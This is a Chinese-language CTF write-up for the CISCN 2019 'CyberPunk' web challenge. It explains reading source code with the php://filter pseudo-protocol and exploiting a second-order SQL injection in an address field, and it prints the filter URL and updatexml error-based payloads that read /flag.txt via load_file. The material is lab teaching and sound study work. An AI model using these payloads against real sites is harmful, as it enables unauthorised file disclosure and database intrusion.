[CISCN2019 华北赛区 Day1 Web5]CyberPunk
知识点
1.php伪协议
2.二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
题解
查看源码,发现提示
可能存在文件包含,尝试用php伪协议读取源码,可行,分别读取search.php,change.php,delete.php源码
?file=php://filter/convert.base64-encode/resource=index.php
index.php
chang.php
search.php
delete.php
通过代码审计可以发现,user_name和phone都进行了严格的过滤,但是address只用addslashes()对预定义字符进行了转义,所以address参数为可以利用的注入点。
由于address被addslashes()转义以后单引号等无法使用,但是更新地址时,会将旧地址保存下来,所以我们只要将在第一次修改地址时输入SQL注入语句,在第二次更新时(随便输),第一次更新的SQL语句会被调用从而引发二次注入。
因为报错注入最长输出32位所以分两次读取。
payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
二次更新后
接下来操作同理
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
写在最后
可能有人会问为啥直接load_file读取flag.txt,为什么不采用常规的sql注入操作一步步爆出来,其实我做也是有这个疑问,随后去问了别的师傅,得到的答复是:CISCN官方出题说明了flag在根目录下,hhh~